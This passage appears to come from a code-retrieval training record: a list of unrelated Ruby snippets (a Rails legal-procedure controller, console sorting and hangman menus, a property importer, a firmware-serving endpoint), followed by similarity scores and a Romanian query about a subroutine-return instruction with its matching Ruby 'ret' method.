@photo.save!\n end\n end\n\n if procedure_params[:videos] != nil\n procedure_params[:videos].each_with_index do |video,i|\n @video = Video.new(description: procedure_params[:video_descriptions][i], procedure: @procedure)\n @video.video.attach(video)\n @video.save!\n end\n end\n\n if procedure_params[:documents] != nil\n procedure_params[:documents].each_with_index do |document,i|\n @document = Document.new(description: procedure_params[:document_descriptions][i],name: procedure_params[:document_names][i], procedure: @procedure)\n @document.document.attach(document)\n @document.save!\n end\n end\n\n @procedure.taggings.destroy_all\n procedure_params[:tag_ids][1..procedure_params[:tag_ids].size].each do |tag|\n @tag = Tagging.new(tag: Tag.find_by_name(tag),\n procedure: @procedure)\n @tag.save\n end\n\n #destruimos todos los crimenes, para asi crearlos denuevo y no tener problemas\n @procedure.crime_in_accuseds.destroy_all\n\n #si hay imputados nuevos\n if procedure_params[:accuseds]\n procedure_params[:accuseds].each do |accused|\n #los creamos\n @criminal = Person.new(name: accused[:name],\n rut: accused[:rut])\n if @criminal.save!\n #lo agregamos al procedimiento\n @criminal_in_procedure = PersonInProcedure.new(role: 0,\n person: @criminal,\n procedure: @procedure,\n state: 0)\n @criminal_in_procedure.save\n @criminal_alias = AliasAccused.new(alias: accused[:alias],\n person: @criminal)\n @criminal_alias.save\n #si hay crimenes nuevos\n if procedure_params[:crimes]\n procedure_params[:crimes].each do |crime|\n #se los agregamos al acusado\n @crime_in_accused = CrimeInAccused.new(preponderant: false,\n crime: Crime.find_by_name(crime),\n person: @criminal,\n procedure: @procedure)\n @crime_in_accused.save\n end\n end\n\n #le agregamos el delito preponderante al acusado\n @preponderan_crime_in_accused = CrimeInAccused.new(preponderant: true,\n crime: Crime.find_by_name(procedure_params[:preponderant_crime]),\n person: @criminal,\n procedure: @procedure)\n @preponderan_crime_in_accused.save\n end\n end\n end\n\n #si ya teniamos imputados\n if @procedure.person_in_procedures.where(role: 0)\n @procedure.person_in_procedures.where(role: 0).each do |criminal|\n #les agregamos el delito preponderante\n @preponderan_crime_in_accused = CrimeInAccused.new(preponderant: true,\n crime: Crime.find_by_name(procedure_params[:preponderant_crime]),\n person: criminal.person,\n procedure: @procedure)\n @preponderan_crime_in_accused.save\n\n #si hay delitos nuevos\n if procedure_params[:crimes]\n #le agregamos los delitos nuevos a los imputados existentes\n procedure_params[:crimes].each do |crime|\n @crime_in_accused = CrimeInAccused.new(preponderant: false,\n crime: Crime.find_by_name(crime),\n person: criminal.person,\n procedure: @procedure)\n @crime_in_accused.save\n end\n end\n end\n end\n\n if procedure_params[:victims]\n procedure_params[:victims].each do |victim|\n @victim = Person.new(name: victim[:name],\n rut: victim[:rut],\n deceased: victim[:deceased],\n contact: victim[:contact]\n )\n if @victim.save!\n @victim_in_procedure = PersonInProcedure.new(role: 2,\n person: @victim,\n procedure: @procedure,\n witness_declaration: victim[:story])\n @victim_in_procedure.save\n end\n end\n end\n\n\n if procedure_params[:witness]\n procedure_params[:witness].each do |witness|\n @witness = Person.new(name: witness[:name],\n rut: witness[:rut],\n contact: witness[:contact]\n )\n if @witness.save!\n @witness_in_procedure = PersonInProcedure.new(role: 1,\n person: @witness,\n procedure: @procedure,\n witness_declaration: witness[:story])\n @witness_in_procedure.save\n end\n end\n end\n\n\n #mandar las notificaciones correspondientes\n if @procedure.state == \"Open\"\n #si el usuario actual es fiscal, mandar una notificacion de creacion al policia, sino mandarle al fiscal\n if current_user.prosecutor.present?\n @procedure.police_unit_in_charge.users.each { |police_user|\n Notification.create(user: police_user, notification_type: 0, reference_id: @procedure.id, seen: false)\n }\n elsif current_user.police_unit.present?\n prosecutors = Prosecutor.not_deleted.where(local_prosecution_id: @procedure.local_prosecution_in_charge.id)\n prosecutors.each { |pros|\n Notification.create(user: pros.user, notification_type: 0, reference_id: @procedure.id, seen: false)\n }\n end\n end\n\n format.html { redirect_to @procedure, notice: 'Procedimiento ha sido actualizado con éxito.' }\n format.json { render :show, status: :ok, location: @procedure }\n else\n format.json { render json: @procedure.errors, status: :unprocessable_entity }\n end\n end\n elsif params[:petition] == \"change_state\"\n respond_to do |format|\n $aux = @procedure.state\n if @procedure.update(state: params[:state])\n #If procedure was closed, notify the police unit\n if @procedure.state == \"Close\" && $aux == \"Open\"\n police_unit_id = @procedure.police_unit_in_charge.id\n police_unit_users = User.not_deleted.where(police_unit_id: police_unit_id)\n police_unit_users.each { |user|\n Notification.create(user_id: user.id, notification_type: 1, reference_id: @procedure.id, seen: false)\n }\n #Si el procedimiento pasa a estado borrador (se esta solicitando informacion)\n else\n #Crear mensaje con el contenido del text area del modal\n @message = Message.new(user_id: current_user.id, procedure_id: @procedure.id, content: params[:message])\n if @message.content.strip != \"\"\n @message.save\n end\n if @procedure.creator != current_user\n @procedure.police_unit_in_charge.users.each { |user|\n Notification.create(user_id: user.id, notification_type: 2, reference_id: @procedure.id, seen: false)\n }\n end\n end\n\n format.html { redirect_to procedures_path, notice: 'Procedimiento ha sido actualizado con éxito.' }\n format.json { render :show, status: :ok, location: @procedure }\n else\n format.json { render json: @procedure.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def place_boutons_pour_balise_in code\n file_url = \"analyse/#{id}/show\"\n code.gsub(/<(h[2-6])(?:.*?)id=\"(.+?)\"(?:.*?)>(.+?)<\\/\\1>/){\n tout = $&.freeze\n titre_id = $2.freeze\n titre_nom = $3.freeze\n titre_complet = \"Analyse de #{titre}, #{titre_nom}\"\n relative_url = \"#{file_url}##{titre_id}\"\n absolute_url = \"#{site.distant_url}/#{relative_url}\"\n clips = [\"'BRUT': '#{relative_url}'\"]\n clips << \"'MD Loc': '[#{titre_nom}](#{relative_url})'\"\n clips << \"'MD Dist':'[#{titre_complet}](#{absolute_url})'\"\n clips << \"'Markdown': '[#{titre_complet}](#{absolute_url})'\"\n clips << \"'Mail': 'ALINK[#{absolute_url},#{titre_complet}]'\"\n clips = \"{#{clips.join(',')}}\"\n box = \"<lien>\".in_a(onclick:\"UI.clip(#{clips})\").in_div(class:'fright small')\n \"<ADMIN>#{box}#{tout}</ADMIN>\"\n }\n end",
"def painel(ltChutes, numTentativas, numErros, totalAjudas, drawForca = 0)\n\n system \"clear\"\n puts \"\\n\"\n chute = []\n chute = ltChutes\n ajd = []\n ajd = listarAjudas(totalAjudas)\n countAjuda = 1\n\n puts \"Chutes: \".rjust(20) << chute.join(\" - \")\n puts \"Dica: \".rjust(20) << @plvDica\n puts \"\\n\"\n\n ajd.each do |aj|\n if countAjuda == 0\n puts \"Ajudas: \".rjust(20)\n elsif countAjuda == 1\n puts \"Ajudas: \".rjust(20) << \"#{countAjuda} - \" << aj\n countAjuda += 1\n else\n puts \" \".rjust(20) << \"#{countAjuda} - \" << aj\n countAjuda += 1\n end\n end\n\n puts \"\\n\"\n puts \"Tentativas: \".rjust(20) << numTentativas.to_s\n puts \"Erros: \".rjust(20) << numErros.to_s\n puts \"\\n\\n\"\n\n if drawForca == 0\n forcaVazia\n elsif drawForca == 1\n cabeca\n elsif drawForca == 2\n tronco1\n elsif drawForca == 3\n tronco2\n elsif drawForca == 4\n braco1\n elsif drawForca == 5\n braco2\n elsif drawForca == 6\n perna1\n elsif drawForca == 7\n enforcado\n end\n end",
"def ordenar_paso_a_paso(pila,array=[],cola,lista,ordenamientof)\n if ordenamientof[:ordenar]\n begin\n limpiar_pantalla\n tabla = Terminal::Table.new do |a|\n a.title= 'ORDEN PASO A PASO'\n a.headings = [{value:'No.', alignment: :center},{value:'ESTRUCTURA', alignment: :center}]\n a.add_row([{value:'1', alignment: :center},'COLA' ])\n a.add_row([{value:'2', alignment: :center},'PILA'])\n a.add_row([{value:'3', alignment: :center},'LISTA'])\n a.add_row([{value:'4', alignment: :center},'SALIR' ])\nend\n puts tabla\n print \"INGRESE UNA ESTRUCTURA \"\n opc = gets.chomp\n limpiar_pantalla()\n \n if opc == '1'\n if array.size!=0\n array_anterior=array.join(',')\n cola.mostrar_paso(array_anterior)\n gets\n else\n puts 'INGRESE DATOS A ORDENAR'\n gets\n end\nelsif opc == '2'\n if array.size!=0\n array_anterior=array.join(',')\n pila.mostrar_pasos(array_anterior)\n gets\n else\n puts 'INGRESE DATOS A ORDENAR'\n gets\n end\nelsif opc == '3'\n if array.size!=0\n array_anterior=array.join(',')\n lista.mostrar_paso(array_anterior)\n gets\n else\n puts 'INGRESE DATOS A ORDENAR'\n gets\n end\n else\n 'OPCION INVALIDA'\n gets\n end\nend while opc!='4'\nelse\n array_anterior=array.join(',')\n pila.ordenar_pila(array)\n cola.ordenar_cola(array)\n lista.ordenar_lista(array)\n ordenamientof[:ordenar]=true\n begin\n limpiar_pantalla\n tabla = Terminal::Table.new do |a|\n a.title= 'ORDEN PASO A PASO'\n a.headings = [{value:'No.', alignment: :center},{value:'ESTRUCTURA', alignment: :center}]\n\n a.add_row([{value:'1', alignment: :center},'COLA' ])\n a.add_row([{value:'2', alignment: :center},'PILA'])\n a.add_row([{value:'3', alignment: :center},'LISTA'])\n a.add_row([{value:'4', alignment: :center},'SALIR' ])\nend\n puts tabla\n print \"INGRESE UNA ESTRUCTURA: \"\n opc = gets.chomp\n limpiar_pantalla()\n \n if opc == '1'\n if array.size!=0\n array_anterior=array.join(',')\n cola.mostrar_paso(array_anterior)\n gets\n else\n puts 'INGRESE DATOS'\n gets\n end\nelsif opc == '2'\n if array.size!=0\n array_anterior=array.join(',')\n pila.mostrar_pasos(array_anterior)\n gets\n else\n puts 'INGRESE DATOS'\n gets\n end\nelsif opc == '3'\n if array.size!=0\n array_anterior=array.join(',')\n lista.mostrar_paso(array_anterior)\n gets\n else\n puts 'INGRESE DATOS'\n gets\n end\n else\n 'OPCION INVALIDA'\n gets\n end\nend while opc!='4'\nend\nend",
"def lsi=(_arg0); end",
"def lsi=(_arg0); end",
"def import_bien b\n\n # Good location\n good_address = {}\n loc = BienEmplacement.new\n\tloc.pays = \"France\"\n\tloc.code_postal = b[\"BIEN_CODE_POSTAL\"]\n\tloc.ville = b[\"BIEN_VILLE\"]\n\n\tref = b[\"BIEN_REFERENCE\"]\n\t\n\tif @transaction_type.nom == \"Vente\"\n\t\tcat_s = b[\"BIEN_TYPE\"].to_s\n\t\tprice = b[\"BIEN_PRIX\"]\n\telse\n\t\tcat_code = b[\"BIEN_TYPE\"].to_s\n\t\tcat_s = CODE_MATCHING[cat_code]\n\t\tprice = b[\"BIEN_LOYER\"]\n\tend\n\t\n\tcat = BienType.find_or_create cat_s.up_first\n \n\tnb = Bien.where(:reference => ref).select{ |b| b.passerelle.installation == @passerelle.installation }.first\n nb = Bien.new if nb.nil?\n\t\n\tdesc = b[\"BIEN_DESCRIPTION\"]\n\tnb.is_accueil = false\n\t# nb.is_accueil = true if b[\"TEXTE_MAILING\"] && (b[\"TEXTE_MAILING\"].to_s.downcase =~ /.*virtual.*touch.*/)\n\n nb.passerelle = @passerelle\n nb.reference = ref\n nb.bien_type = cat\n nb.bien_transaction = @transaction_type\n nb.bien_emplacement = loc\n nb.nb_piece = b[\"BIEN_NB_PIECE\"]\n nb.nb_chambre = b[\"BIEN_NB_CHAMBRE\"]\n nb.surface = b[\"BIEN_SURFACE_TOTALE\"]\n nb.surface_terrain = b[\"BIEN_SURFACE_TERRAIN\"]\n nb.titre = b[\"BIEN_LIBELLE\"]\n nb.prix = price\n nb.description = desc\n\t\n\tnb.statut = 'new'\n nb.save!\n\t\n\tnb.valeur_dpe = b[\"BIEN_CONSO_ENERGETIQUE\"]\n\tnb.valeur_ges = b[\"BIEN_EMISSION_GES\"]\n\t\t\n\t# If new images : Drop old images, add current images\n if b[\"photo\"]\n # un-attach old\n\t nb.bien_photos.each{ |photo|\n\t\t photo.bien = nil\n\t\t photo.save!\n\t }\n pl = b[\"photo\"]\n \n # When there only exists a single image, +pl+ will directly be the hash\n pl = [pl] unless pl.kind_of? Array\n # Map photo-hashes to medias, filter out failures, and add medias to good\n\t number = 0\n\t counter = 0\n pl.map { |p| import_local_media(\"#{p.to_s}.jpg\",(counter+=1),nb,\"#{p.to_s}.jpg\") }\n end\n\t\n nb.save!\n\n return\n\tend",
"def ordenar_paso_a_paso(pila,array=[],cola,lista,ya_ordeno)\n if ya_ordeno[:ordenar]\n begin\n limpiar_pantalla\n tabla = Terminal::Table.new do |a|\n a.title= 'Ordenar paso a paso'\n a.headings = [{value:'No.', alignment: :center},{value:'Estructura', alignment: :center}]\n a.add_row([{value:'1', alignment: :center},'Cola.' ])\n a.add_row([{value:'2', alignment: :center},'Pila.'])\n a.add_row([{value:'3', alignment: :center},'Lista.'])\n a.add_row([{value:'4', alignment: :center},'Salir.' ])\nend\n puts tabla\n print \"Ingrese una estructura: \"\n opc = gets.chomp\n limpiar_pantalla()\n case opc\n when '1'\n if array.size!=0\n array_antes=array.join(',')\n cola.mostrar_paso(array_antes)\n gets\n else\n puts 'Ingrese nuevos datos para ordenar'\n gets\n end\n when '2'\n if array.size!=0\n array_antes=array.join(',')\n pila.mostrar_pasos(array_antes)\n gets\n else\n puts 'Ingrese nuevos datos para ordenar'\n gets\n end\n when '3'\n if array.size!=0\n array_antes=array.join(',')\n lista.mostrar_paso(array_antes)\n gets\n else\n puts 'Ingrese nuevos datos para ordenar'\n gets\n end\n else\n 'La opcion no es valida vuelva a ingresar'\n gets\n end\nend while opc!='4'\nelse\n array_antes=array.join(',')\n pila.ordenar_pila(array)\n cola.ordenar_cola(array)\n lista.ordenar_lista(array)\n ya_ordeno[:ordenar]=true\n begin\n limpiar_pantalla\n tabla = Terminal::Table.new do |a|\n a.title= 'Ordenar paso a paso'\n a.headings = [{value:'No.', alignment: :center},{value:'Estructura', alignment: :center}]\n\n a.add_row([{value:'1', alignment: :center},'Cola.' ])\n a.add_row([{value:'2', alignment: :center},'Pila.'])\n a.add_row([{value:'3', alignment: :center},'Lista.'])\n a.add_row([{value:'4', alignment: :center},'Salir.' ])\nend\n puts tabla\n print \"Ingrese una estructura: \"\n opc = gets.chomp\n limpiar_pantalla()\n case opc\n when '1'\n if array.size!=0\n array_antes=array.join(',')\n cola.mostrar_paso(array_antes)\n gets\n else\n puts 'Ingrese nuevos datos para ordenar'\n gets\n end\n when '2'\n if array.size!=0\n array_antes=array.join(',')\n pila.mostrar_pasos(array_antes)\n gets\n else\n puts 'Ingrese nuevos datos para ordenar'\n gets\n end\n when '3'\n if array.size!=0\n array_antes=array.join(',')\n lista.mostrar_paso(array_antes)\n gets\n else\n puts 'Ingrese nuevos datos para ordenar'\n gets\n end\n else\n 'La opcion no es valida vuelva a ingresar'\n gets\n end\nend while opc!='4'\nend\nend",
"def ordenar_paso_a_paso(pila,array=[],cola,lista,ya_ordeno)\n if ya_ordeno[:ordenar]\n begin\n limpiar_pantalla\n tabla = Terminal::Table.new do |a|\n a.title= 'Ordenar paso a paso'\n a.headings = [{value:'No.', alignment: :center},{value:'Estructura', alignment: :center}]\n a.add_row([{value:'1', alignment: :center},'Cola.' ])\n a.add_row([{value:'2', alignment: :center},'Pila.'])\n a.add_row([{value:'3', alignment: :center},'Lista.'])\n a.add_row([{value:'4', alignment: :center},'Salir.' ])\nend\n puts tabla\n print \"Ingrese una estructura: \"\n opc = gets.chomp\n limpiar_pantalla()\n case opc\n when '1'\n if array.size!=0\n array_antes=array.join(',')\n cola.mostrar_paso(array_antes)\n gets\n else\n puts 'Ingrese nuevos datos para ordenar'\n gets\n end\n when '2'\n if array.size!=0\n array_antes=array.join(',')\n pila.mostrar_pasos(array_antes)\n gets\n else\n puts 'Ingrese nuevos datos para ordenar'\n gets\n end\n when '3'\n if array.size!=0\n array_antes=array.join(',')\n lista.mostrar_paso(array_antes)\n gets\n else\n puts 'Ingrese nuevos datos para ordenar'\n gets\n end\n else\n 'La opcion no es valida vuelva a ingresar'\n gets\n end\nend while opc!='4'\nelse\n array_antes=array.join(',')\n pila.ordenar_pila(array)\n cola.ordenar_cola(array)\n lista.ordenar_lista(array)\n ya_ordeno[:ordenar]=true\n begin\n limpiar_pantalla\n tabla = Terminal::Table.new do |a|\n a.title= 'Ordenar paso a paso'\n a.headings = [{value:'No.', alignment: :center},{value:'Estructura', alignment: :center}]\n\n a.add_row([{value:'1', alignment: :center},'Cola.' ])\n a.add_row([{value:'2', alignment: :center},'Pila.'])\n a.add_row([{value:'3', alignment: :center},'Lista.'])\n a.add_row([{value:'4', alignment: :center},'Salir.' ])\nend\n puts tabla\n print \"Ingrese una estructura: \"\n opc = gets.chomp\n limpiar_pantalla()\n case opc\n when '1'\n if array.size!=0\n array_antes=array.join(',')\n cola.mostrar_paso(array_antes)\n gets\n else\n puts 'Ingrese nuevos datos para ordenar'\n gets\n end\n when '2'\n if array.size!=0\n array_antes=array.join(',')\n pila.mostrar_pasos(array_antes)\n gets\n else\n puts 'Ingrese nuevos datos para ordenar'\n gets\n end\n when '3'\n if array.size!=0\n array_antes=array.join(',')\n lista.mostrar_paso(array_antes)\n gets\n else\n puts 'Ingrese nuevos datos para ordenar'\n gets\n end\n else\n 'La opcion no es valida vuelva a ingresar'\n gets\n end\nend while opc!='4'\nend\nend",
"def sabre_de_luz_params\n params.require(:sabre_de_luz).permit(:id_sabre, :cristal, :local_origem, :cor, :data_criacao)\n end",
"def bootcode\n\t\t\t# /vl/bc.jsp?v=0.0.0.10&m=00:19:db:9e:92:91&l=00:00:00:00:00:00&p=00:00:00:00:00:00&h=4\n\t\t\t#\n\t\t\t# Firmware version, e.g.0.0.0.10\n\t\t\t@version = params[:v]\n\n\t\t\t# MAC address\n\t\t\t@serial = params[:m]\n\n\t\t\t# Hardware model 4 == V2 model\n\t\t\t@hardware = params[:h]\n\n\n\t\t\tsend_file Rails.public_path+'/'+'bc-nominal-segabor.bin',\n\t\t\t\t:type => 'application/octet-stream'\n\t\tend",
"def primeira_letra2\n\tprint (\" \" * @esp)+\" \"+ \"a\" + \"\\n\"\nend",
"def PO108=(arg)"
] |
[
"0.5396362",
"0.51763636",
"0.5153415",
"0.5126988",
"0.5106015",
"0.5099818",
"0.50711536",
"0.50543875",
"0.505391",
"0.5045098",
"0.5033835",
"0.50246465",
"0.49894086",
"0.49797004",
"0.49671447",
"0.4953576",
"0.4929124",
"0.4905523",
"0.48781037",
"0.48706254",
"0.4828027",
"0.48224804",
"0.47991973",
"0.47893313",
"0.4788581",
"0.47876722",
"0.47869828",
"0.4780956",
"0.4780754",
"0.4774794",
"0.47669432",
"0.4762343",
"0.4747104",
"0.4746549",
"0.47376075",
"0.473706",
"0.47230947",
"0.472286",
"0.47194508",
"0.47153983",
"0.47150055",
"0.47096404",
"0.47012067",
"0.47011492",
"0.47008356",
"0.46989173",
"0.46976724",
"0.46940386",
"0.4689784",
"0.46858895",
"0.46834475",
"0.46782157",
"0.4673217",
"0.46556884",
"0.4648835",
"0.46482882",
"0.46466467",
"0.46446112",
"0.4642722",
"0.4641655",
"0.46402302",
"0.46394923",
"0.46349415",
"0.46335545",
"0.46293432",
"0.46284994",
"0.46273768",
"0.46253094",
"0.46248102",
"0.46211302",
"0.46204162",
"0.46125665",
"0.46106115",
"0.46087486",
"0.4605753",
"0.46002233",
"0.45934713",
"0.4592839",
"0.45904878",
"0.45897567",
"0.4589605",
"0.4580156",
"0.45782426",
"0.45749444",
"0.4565837",
"0.45651105",
"0.45615068",
"0.45605788",
"0.45597637",
"0.4558787",
"0.4543341",
"0.45411605",
"0.45411605",
"0.45347935",
"0.45337766",
"0.45337766",
"0.45311937",
"0.4530431",
"0.45234674",
"0.45193648"
] |
0.49947336
|
12
|
RET Revenire dintrun subprogram. SP = BAZA[VBAZA].BLOC 2 NI = STIVA[SP + 1] VBAZA = VBAZA 1
|
def ret
self.s = s[0..(base.pop[1]-1)]
self.ni = s.pop
@jump = true
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def prepara_palavra(palavra)\r\n\tusagi=[]\r\n\tfor t in 0..(palavra.length()-1)\r\n\t\tusagi.push(palavra[t])\r\n\tend\r\n\t#puts usagi\r\n\treturn usagi\r\nend",
"def conta_vicini(i,j,game)\n vicini = 0\n \n #### BORDI RIGIDI\n #if i > 0\n # vicini += 1 if game[:griglia][i-1][j]\n #end\n #if i > 0 && j > 0\n # vicini += 1 if game[:griglia][i-1][j-1]\n #end\n #if i > 0 && j < CELLE_PER_RIGA\n # vicini += 1 if game[:griglia][i-1][j+1]\n #end\n #if j > 0\n # vicini += 1 if game[:griglia][i][j-1]\n #end\n #if j < CELLE_PER_RIGA-1\n # vicini += 1 if game[:griglia][i][j+1]\n #end\n #if i < CELLE_PER_COLONNA-1 && j > 0\n # vicini += 1 if game[:griglia][i+1][j-1]\n #end\n #if i < CELLE_PER_COLONNA-1\n # vicini += 1 if game[:griglia][i+1][j]\n #end\n #if i < CELLE_PER_COLONNA-1 && j < CELLE_PER_RIGA-1\n # vicini += 1 if game[:griglia][i+1][j+1]\n #end\n \n #======================================================\n ### BORDI RICORSIVI\n i += CELLE_PER_COLONNA if i-1 < 0\n j += CELLE_PER_RIGA if j-1 < 0\n i -= CELLE_PER_COLONNA if i+1 >= CELLE_PER_COLONNA\n j -= CELLE_PER_RIGA if j+1 >= CELLE_PER_RIGA\n \n vicini += 1 if game[:griglia][i-1][j]\n vicini += 1 if game[:griglia][i-1][j-1]\n vicini += 1 if game[:griglia][i-1][j+1]\n vicini += 1 if game[:griglia][i][j-1]\n vicini += 1 if game[:griglia][i][j+1]\n vicini += 1 if game[:griglia][i+1][j-1]\n vicini += 1 if game[:griglia][i+1][j]\n vicini += 1 if game[:griglia][i+1][j+1]\n \n return vicini\nend",
"def sp\n\t\t# --Stallция Preφιcς--\n\t\ts = ['S', 'Z', 'C', 'S']\n\t\tt = ['t', 'zt', 'ct', 'st']\n\t\ta = ['a', 'å', 'ä', 'ą']\n\t\tl = ['l', 'll', 'л', 'лл', 'lъ', 'llъ', 'лъ', 'ллъ',]\n\t\tc = ['c', 'z', 's', 'c', 'z', 'ц']\n\t\ti = ['i', '', 'и']\n\t\tja = ['a', 'ja', 'ya', 'ia', 'иa','я', 'ѧ']\n\t\tpp = ['P', 'П', 'Ψ', 'Ξ']\n\t\tr = ['r', 'р']\n\t\te = ['e', 'ϵ', 'ε']\n\t\tfi = ['f', 'ff', 'ф', 'φ', 'ѳ', 'þ', 'ξ']\n\t\tjota = ['i', 'и', 'ι', 'ї', 'ј']\n\t\tis = ['s', 'z', 'c', 'σ', 'ς',\n\t\t\t\t'ss', 'sz', 'sσ', 'sς', 'zs', 'cs', 'σs',\n\t\t\t\t'zz', 'zc', 'zσ', 'zς', 'cz', 'σz',\n\t\t\t\t'cc', 'cσ', 'cς', 'sc', 'σc',\n\t\t\t\t'σσ', 'σς', 'ςς',\n\t\t\t\t'ssz', 'ssσ', 'ssς', 'zss', 'css', 'σss',\n\t\t\t\t'scz']\n\t\tsparray = [s, t, a, l, c, i, ja, [\"\\n\"], pp, r, e, fi, jota, is]\n\t\tcilibles = []\n\t\tfor i in sparray\n\t\t\tcilibles.push(i[rand(i.length)])\n\t\tend\n\t\t@spreffis = cilibles.join\n\t\t@spinitial = cilibles[0] + cilibles[8]\n\tend",
"def vrat_modif_instanci\n vystup=\"\"\n @pole_dat.each do |radek| \n if(radek[0]==\"p\")then \n vystup +=radek\n vystup += \"w #{generuj_vahy(radek).join(' ')}\\n\" #pridani radku s vahami\n else\n vystup +=radek\n end \n end\n # puts vystup\n return vystup\n end",
"def monta_segmento_a(pagamento, nro_lote, sequencial)\n segmento_a = '' # Descrição Posição Tamanho\n segmento_a << cod_banco # CÓDIGO DO BANCO [1......3] 03(9) 341\n segmento_a << counter_lotes(nro_lote) # CÓDIGO DO LOTE [4......7] 04(9) NOTA 3\n segmento_a << '3' # TIPO DE REGISTRO [8......8] 01(9) 3\n segmento_a << sequencial.to_s.rjust(5, '0') # SEQUENCIAL REGISTRO NO LOTE [9.....13] 05(9) NOTA 9\n segmento_a << 'A' # SEGMENTO CÓDIGO [14....14] 01(X) A\n segmento_a << pagamento.tipo_de_movimento # TIPO DE MOVIMENTO [15....17] 03(9) NOTA 10\n segmento_a << ''.rjust(3, '0') # CÂMARA [18....20] 03(9) NOTA 37\n segmento_a << pagamento.cod_banco # CÓDIGO BANCO FAVORECIDO [21....23] 03(9)\n segmento_a << pagamento.conta_bancaria_favorecido # CONTA BANCÁRIA FAVORECIDO [24....43] 20(X) NOTA 11\n segmento_a << pagamento.nome_favorecido.format_size(30) # NOME DO FAVORECIDO [44....73] 30(X) NOTA 35\n segmento_a << pagamento.uso_da_empresa.format_size(20) # SEU NÚMERO [74....93] 20(X)\n segmento_a << pagamento.formata_data_pagamento('%d%m%Y') # DATA DE PAGTO [94...101] 08(9) DDMMAAAA\n segmento_a << pagamento.tipo_moeda # TIPO DA MOEDA [102..104] 03(X) REA OU 009\n segmento_a << ''.rjust(8, '0') # CÓDIGO ISPB [105..112] 08(9) NOTA 37\n segmento_a << ''.rjust(7, '0') # ZEROS [113..119] 07(9)\n segmento_a << pagamento.formata_valor(15) # VALOR DO PAGTO [120..134] 13(9) V9(02)\n segmento_a << ''.ljust(15, ' ') # NOSSO NÚMERO [135..149] 15(X)\n segmento_a << ''.ljust(5, ' ') # BRANCOS [150..154] 05(X)\n segmento_a << ''.rjust(8, '0') # DATA EFETIVA - RETORNO [155..162] 08(9)\n segmento_a << ''.rjust(15, '0') # VALOR EFETIVO [163..177] 13(9) V9(02)\n segmento_a << ''.ljust(18, ' ') # FINALIDADE DETALHE [178..195] 18(X) NOTA 13\n segmento_a << ''.ljust(2, ' ') # BRANCOS [196..197] 02(X)\n segmento_a << ''.rjust(6, '0') # NÚMERO DO DOCUMENTO [198..203] 06(9) NOTA 14\n segmento_a << pagamento.documento_favorecido.to_s.rjust(14, '0') # NÚMERO DE INSCRIÇÃO - (CPF/CNPJ) [204..217] 14(9) NOTA 15\n segmento_a << ''.ljust(2, ' ') # FINALIDADE DOC E STATUS FUNCIONÁRIO [218..219] 02(X) NOTA 30\n segmento_a << pagamento.finalidade_ted # FINALIDADE TED [220..224] 05(X) NOTA 26\n segmento_a << ''.ljust(5, ' ') # BRANCOS [225..229] 05(X)\n segmento_a << pagamento.aviso_ao_favorecido # AVISO AO FAVORECIDO [230..230] 01(X) NOTA 16\n segmento_a << ''.ljust(10, ' ') # CÓDIGO OCORRÊNCIAS NO RETORNO [231..240] 10(X) NOTA 8\n segmento_a\n end",
"def grasa(sexo,peso,talla)\n\t\t@grasa = 1.2*imc(peso,talla)+0.23*@edad-10.8*sexo-5.4\n\tend",
"def agc_4(estatuto=nil)\n @pilaS << (@cuadruplos.count )\n @cuadruplos << Cuadruplo.new(\"GoF\",@pilaO.pop,[]) if estatuto == 'if'\n @cuadruplos << Cuadruplo.new(\"Go\",[],[]) if estatuto == 'else'\n @cuadruplos << Cuadruplo.new(\"GoF\",@pilaO.pop,[]) if estatuto == 'while'\nend",
"def casePasACoteArbre\n\n newStatutVide = StatutVide.new(VIDE)\n newStatutArbre = StatutArbre.new(ARBRE)\n grille=@grille.grille\n\n for i in 0..grille.length-1\n for j in 0..grille.length-1\n ok = true\n if (grille[i][j].statutVisible == newStatutVide)\n\n if (i-1 >= 0 && grille[i-1][j].statut == newStatutArbre) || (j-1 >= 0 && grille[i][j-1].statut == newStatutArbre) || (i+1 <= grille.length-1 && grille[i+1][j].statut == newStatutArbre) || (j+1 <= grille.length-1 && grille[i][j+1].statut == newStatutArbre)\n ok = false\n end\n\n return grille[i][j] if ok\n\n end\n end\n end\n\n return 0\n end",
"def vin; end",
"def getArbol\r\n return @pila_a.last #puedes hacer getArbol sucesivos sin modificar nada en lo absoluto.\r\n end",
"def tas_poser_1_carte joueur\n # Examine tous les tas déjà posés un par un\n self.ta12s.each do |tas|\n # Abandonne l'examen des différents tas quand plus qu'une carte\n break if joueur.cartes.size == 1\n # Evite de compléter la tierce franche lors de la 1° pose\n unless joueur.a_atteint_51?\n next if tas.nom_joueur == joueur.nom + \"_tf\"\n end\n # Regarde si on peut ajouter une carte au tas\n joueur.cartes.each do |carte|\n # Regarde si la carte peut aller sur le tas\n if tas.complete_le_tas? carte\n type = tas.combinaison.type\n # Pose la carte\n self.traces << \" tas <= #{tas.to_s} + [ #{carte.to_s} ]\"\n poser_sur_tas joueur, tas, carte\n # On ne peut plus compléter le tas si c'est une série de plus de 3 cartes\n break if tas.cartes.size > 3\n # on ne peut plus compléter le tas si ce n'est pas une série\n break if type != :serie\n end\n end\n end\n end",
"def bellini; end",
"def hiddenSingle()\n\t\tlisteCase = Array.new\n\t\t@partie.getPlateau().each do |x,y,laCase|\n\t\t\tif (laCase.getSolutionJoueur() == nil)\n\t\t\t\t\n\t\t\t\tif x%3 == 2\n\t\t\t\t\tlig1 = x-1\n\t\t\t\t\tlig2 = x-2\n\t\t\t\telsif x%3 == 1\n\t\t\t\t\tlig1 = x-1\n\t\t\t\t\tlig2 = x+1\n\t\t\t\telse\n\t\t\t\t\tlig1 = x+1\n\t\t\t\t\tlig2 = x+2\n\t\t\t\tend\n\n\t\t\t\tif y%3 == 2\n\t\t\t\t\tcol1 = y-1\n\t\t\t\t\tcol2 = y-2\n\t\t\t\telsif y%3 == 1\n\t\t\t\t\tcol1 = y-1\n\t\t\t\t\tcol2 = y+1\n\t\t\t\telse\n\t\t\t\t\tcol1 = y+1\n\t\t\t\t\tcol2 = y+2\n\t\t\t\tend\n\n\t\t\t\tfor n in (1..9)\n\n\t\t\t\t\tif (@partie.getPlateau.absentRegion(n,x,y) && !@partie.getPlateau().absentLigne(n, lig1) && !@partie.getPlateau().absentLigne(n, lig2) && !@partie.getPlateau().absentColonne(n, col1) && !@partie.getPlateau().absentColonne(n, col2))\n\t\t\t\t\t\tif n == @partie.getPlateau.getCase(Position.new(x,y)).getSolutionOriginale\n\t\t\t\t\t\t\t# 